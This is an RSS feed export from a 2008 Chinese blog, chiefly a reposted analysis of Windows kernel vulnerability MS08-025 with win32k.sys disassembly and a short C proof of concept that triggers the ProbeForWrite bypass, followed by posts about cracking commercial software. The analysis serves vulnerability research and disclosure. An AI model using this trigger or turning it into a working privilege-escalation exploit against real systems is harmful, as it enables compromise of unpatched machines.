﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-GalaxyPilot —— D.S</title><link>http://www.blogjava.net/galaxyp/</link><description>&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;生命不熄，战斗不止&lt;br&gt;</description><language>zh-cn</language><lastBuildDate>Thu, 24 Jul 2008 03:16:16 GMT</lastBuildDate><pubDate>Thu, 24 Jul 2008 03:16:16 GMT</pubDate><ttl>60</ttl><item><title>Windows 内核漏洞 ms08025 分析(转)</title><link>http://www.blogjava.net/galaxyp/archive/2008/04/14/192731.html</link><dc:creator>舵手 QQ：8117892</dc:creator><author>舵手 QQ：8117892</author><pubDate>Mon, 14 Apr 2008 05:09:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2008/04/14/192731.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/192731.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2008/04/14/192731.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/192731.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/192731.html</trackback:ping><description><![CDATA[Author:&nbsp;&nbsp;Polymorphours<br />
Email:&nbsp;&nbsp; Polymorphours@whitecell.org<br />
Homepage:<a href="http://www.whitecell.org/" target="_blank">http://www.whitecell.org</a> <br />
Date:&nbsp;&nbsp;&nbsp;&nbsp;2008-04-10<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;经内部讨论后决定公布分析成果。<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;4月8号microsoft再次发布了一个系统内核的补丁(KB941693),<br />
微软对该漏洞的描述为: 此安全更新解决 Windows 内核中一个秘密<br />
报告的漏洞。 成功利用此漏洞的本地攻击者可以完全控制受影响的<br />
系统。 攻击者可随后安装程序；查看、更改或删除数据；或者创建<br />
新帐户。这是用于 Windows 2000、Windows XP、Windows Server 2003、<br />
Windows Vista 和 Windows Server 2008 所有受支持版本的重要安全<br />
更新。此安全更新通过修改 Windows 内核验证从用户模式传递过来的<br />
输入的方式来解决此漏洞。<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;从这个介绍中我们看到这个漏洞影响非常广，从2000到2008。为了<br />
能一睹这个漏洞的细节，我分析了ms08-025的补丁，发现该漏洞存在于 <br />
win32k.sys 模块中。在这个补丁中修补了win32k.sys中的多个地方，其<br />
中出问题的地方非常有趣，是因为溢出寄存器来绕过 ProbeForWrite <br />
函数对用户层传来的指针的检查，下面我们就从 NtUserfnOUTSTRING <br />
函数中的问题来展开我们的分析(我分析的平台是winxp sp2)<br />
<br />
.text:BF86FB04 ; int __stdcall NtUserfnOUTSTRING(int,int,int,PVOID Address,int,int,int)<br />
.text:BF86FB04 __stdcall NtUserfnOUTSTRING(x, x, x, x, x, x, x) proc near<br />
.text:BF86FB04&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; CODE XREF: xxxDefWindowProc(x,x,x,x)+6Ep<br />
.text:BF86FB04&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; NtUserMessageCall(x,x,x,x,x,x,x)+61p<br />
.text:BF86FB04&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; xxxSendMessageToClient(x,x,x,x,x,x,x)-Ep<br />
.text:BF86FB04&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; xxxSendMessageToClient(x,x,x,x,x,x,x)+6Dp<br />
.text:BF86FB04&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; xxxWrapCallWindowProc(x,x,x,x,x)-4Bp<br />
.text:BF86FB04&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; xxxWrapCallWindowProc(x,x,x,x,x)+60p ...<br />
.text:BF86FB04<br />
.text:BF86FB04 var_24&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= dword ptr -24h<br />
.text:BF86FB04 var_20&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= dword ptr -20h<br />
.text:BF86FB04 UserBuffer&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= dword ptr -1Ch<br />
.text:BF86FB04 ms_exc&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= CPPEH_RECORD ptr -18h<br />
.text:BF86FB04 arg_0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = dword ptr&nbsp;&nbsp;8<br />
.text:BF86FB04 arg_4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = dword ptr&nbsp;&nbsp;0Ch<br />
.text:BF86FB04 arg_8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = dword ptr&nbsp;&nbsp;10h<br />
.text:BF86FB04 Address&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = dword ptr&nbsp;&nbsp;14h<br />
.text:BF86FB04 arg_10&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= dword ptr&nbsp;&nbsp;18h<br />
.text:BF86FB04 arg_14&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= dword ptr&nbsp;&nbsp;1Ch<br />
.text:BF86FB04 arg_18&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= dword ptr&nbsp;&nbsp;20h<br />
.text:BF86FB04<br />
.text:BF86FB04 ; FUNCTION CHUNK AT .text:BF86FAE1 SIZE 0000001E BYTES<br />
.text:BF86FB04<br />
.text:BF86FB04&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp;14h<br />
.text:BF86FB06&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp;offset unk_BF98D250<br />
.text:BF86FB0B&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp;&nbsp;__SEH_prolog<br />
.text:BF86FB0B<br />
.text:BF86FB10&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xor&nbsp;&nbsp;&nbsp;&nbsp; edx, edx<br />
.text:BF86FB12&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+ms_exc.disabled], edx<br />
.text:BF86FB15&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; eax, [ebp+var_20]<br />
.text:BF86FB18&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; ecx, 7FFFFFFFh<br />
.text:BF86FB1D&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; and&nbsp;&nbsp;&nbsp;&nbsp; eax, ecx<br />
.text:BF86FB1F&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; esi, [ebp+arg_18]<br />
.text:BF86FB22&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; shl&nbsp;&nbsp;&nbsp;&nbsp; esi, 1Fh<br />
.text:BF86FB25&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; or&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;eax, esi<br />
.text:BF86FB27&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+var_20], eax<br />
.text:BF86FB2A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; esi, eax<br />
.text:BF86FB2C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xor&nbsp;&nbsp;&nbsp;&nbsp; esi, [ebp+arg_8]&nbsp;&nbsp;-&gt; esi = 缓冲区长度<br />
.text:BF86FB2F&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; and&nbsp;&nbsp;&nbsp;&nbsp; esi, ecx<br />
.text:BF86FB31&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xor&nbsp;&nbsp;&nbsp;&nbsp; eax, esi<br />
.text:BF86FB33&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+var_20], eax<br />
.text:BF86FB36&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cmp&nbsp;&nbsp;&nbsp;&nbsp; [ebp+arg_18], edx&nbsp;&nbsp;-&gt; 如果是 ansi 方式就直接进行检查，否则需要计算unicode的大小<br />
.text:BF86FB39&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jnz&nbsp;&nbsp;&nbsp;&nbsp; short loc_BF86FB47<br />
.text:BF86FB39<br />
.text:BF86FB3B&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea&nbsp;&nbsp;&nbsp;&nbsp; esi, [eax+eax]&nbsp;&nbsp;&nbsp;&nbsp;&lt;- 注意这里，问题就在这里，此时 eax = unicode字符串的长度，<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;- 当 eax = 0x80000000 的时候 eax + eax = 0x100000000，32位的寄存器<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;- 被溢出了，esi = 0<br />
.text:BF86FB3E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xor&nbsp;&nbsp;&nbsp;&nbsp; esi, eax<br />
.text:BF86FB40&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; and&nbsp;&nbsp;&nbsp;&nbsp; esi, ecx<br />
.text:BF86FB42&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xor&nbsp;&nbsp;&nbsp;&nbsp; eax, esi<br />
.text:BF86FB44&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+var_20], eax -&gt; 保存unicode占用的空间大小<br />
.text:BF86FB44<br />
.text:BF86FB47<br />
.text:BF86FB47 loc_BF86FB47:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; CODE XREF: NtUserfnOUTSTRING(x,x,x,x,x,x,x)+35j<br />
.text:BF86FB47&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+var_24], edx<br />
.text:BF86FB4A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; esi, [ebp+Address]<br />
.text:BF86FB4D&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+UserBuffer], esi<br />
.text:BF86FB50&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xor&nbsp;&nbsp;&nbsp;&nbsp; ebx, ebx<br />
.text:BF86FB52&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inc&nbsp;&nbsp;&nbsp;&nbsp; ebx<br />
.text:BF86FB53&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp;ebx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; Alignment<br />
.text:BF86FB54&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; and&nbsp;&nbsp;&nbsp;&nbsp; eax, ecx<br />
.text:BF86FB56&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp;eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; Length &lt;- 由于 eax = 0，所以ProbeForWrite被绕过<br />
.text:BF86FB57&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp;esi&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; Address<br />
.text:BF86FB58&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp;&nbsp;ds:ProbeForWrite(x,x,x)<br />
<br />
<br />
bf80a1b0 e96ef4ffff&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jmp&nbsp;&nbsp; win32k!xxxRealDefWindowProc+0x1235 (bf809623)<br />
bf80a1b5 d1e8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; shr&nbsp;&nbsp;&nbsp;&nbsp; eax,1<br />
bf80a1b7 894510&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+0x10],eax<br />
bf80a1ba ebf1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jmp&nbsp;&nbsp;&nbsp;&nbsp;win32k!xxxRealDefWindowProc+0x190 (bf80a1ad)<br />
bf80a1bc 8b4514&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; eax,[ebp+0x14]<br />
bf80a1bf f6400780&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; test&nbsp;&nbsp;&nbsp;&nbsp;byte ptr [eax+0x7],0x80<br />
bf80a1c3 8b4008&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; eax,[eax+0x8]<br />
bf80a1c6 7408&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jz&nbsp;&nbsp;&nbsp;&nbsp; win32k!xxxRealDefWindowProc+0x105 (bf80a1d0)<br />
bf80a1c8 c60000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; byte ptr [eax],0x0<br />
bf80a1cb e951f4ffff&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jmp&nbsp;&nbsp; win32k!xxxRealDefWindowProc+0x1225 (bf809621)<br />
bf80a1d0 668910&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [eax],dx&nbsp;&nbsp;&nbsp;&nbsp;&lt;- 在这里，对前面传入的指针进行了2个字节的写操作，写入的数据为0<br />
bf80a1d3 e949f4ffff&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jmp&nbsp;&nbsp; win32k!xxxRealDefWindowProc+0x1225 (bf809621)<br />
bf80a1d8 6a00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp;0x0<br />
bf80a1da 6a02&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp;0x2<br />
bf80a1dc ff7638&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp;dword ptr [esi+0x38]<br />
bf80a1df e8d1690200&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp;&nbsp;win32k!BuildHwndList (bf830bb5)<br />
bf80a1e4 8bf8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; edi,eax<br />
bf80a1e6 85ff&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; test&nbsp;&nbsp;&nbsp;&nbsp;edi,edi<br />
bf80a1e8 0f8433f4ffff&nbsp;&nbsp;&nbsp;&nbsp; je&nbsp;&nbsp;&nbsp;&nbsp;win32k!xxxRealDefWindowProc+0x1225 (bf809621)<br />
bf80a1ee 8d7710&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea&nbsp;&nbsp;&nbsp;&nbsp; esi,[edi+0x10]<br />
<br />
<br />
那么怎么触发这个漏洞呢，我又分析了 user32.dll 和 win32k!NtUserMessageCall，<br />
发现触发这个漏洞很简单，只需要调用 SendMessageW 发送WM_GETTEXT 消息就能够触发了，<br />
下面是poc代码(注，改代码运行后由于在内核写了未映射的内存，会直接蓝屏，要改成可<br />
用的exploit，可以参考我以前的exploit)<br />
<br />
#include &lt;stdio.h&gt;<br />
#include &lt;windows.h&gt;<br />
<br />
int main(int argc,char *argv[])<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;DWORD&nbsp;&nbsp;&nbsp;&nbsp;dwHookAddress = 0x80000000;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;printf( "\tMS08-025 Local Privilege Escalation Vulnerability Exploit(POC)\n\n" );<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf( "Create by Whitecell's Polymorphours@whitecell.org 2008/04/10\n" );<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, dwHookAddress );<br />
&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
}
<img src ="http://www.blogjava.net/galaxyp/aggbug/192731.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手 QQ：8117892</a> 2008-04-14 13:09 <a href="http://www.blogjava.net/galaxyp/archive/2008/04/14/192731.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>CLC Combined Workbench 3.0.3 破解</title><link>http://www.blogjava.net/galaxyp/archive/2008/01/28/178166.html</link><dc:creator>舵手 QQ：8117892</dc:creator><author>舵手 QQ：8117892</author><pubDate>Mon, 28 Jan 2008 05:18:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2008/01/28/178166.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/178166.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2008/01/28/178166.html#Feedback</comments><slash:comments>11</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/178166.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/178166.html</trackback:ping><description><![CDATA[以前研究过2.0.2，这两天破解了一下3.0.3，目的是研究软件保护上的一些思想。<br />
实际上这两个版本在这方面没有多少变化。请不要留言索要该软件的破解，<br />
研究这个只是个人爱好，不发布破解版。<br />
详图：<br />
<img alt="" src="http://www.blogjava.net/images/blogjava_net/galaxyp/3.0.3.1.JPG" border="0" /><br />
<img alt="" src="http://www.blogjava.net/images/blogjava_net/galaxyp/3.0.3.2.JPG" border="0" />
<img src ="http://www.blogjava.net/galaxyp/aggbug/178166.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手 QQ：8117892</a> 2008-01-28 13:18 <a href="http://www.blogjava.net/galaxyp/archive/2008/01/28/178166.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Zelix KlassMaster 破解</title><link>http://www.blogjava.net/galaxyp/archive/2008/01/10/174256.html</link><dc:creator>舵手 QQ：8117892</dc:creator><author>舵手 QQ：8117892</author><pubDate>Thu, 10 Jan 2008 05:35:00 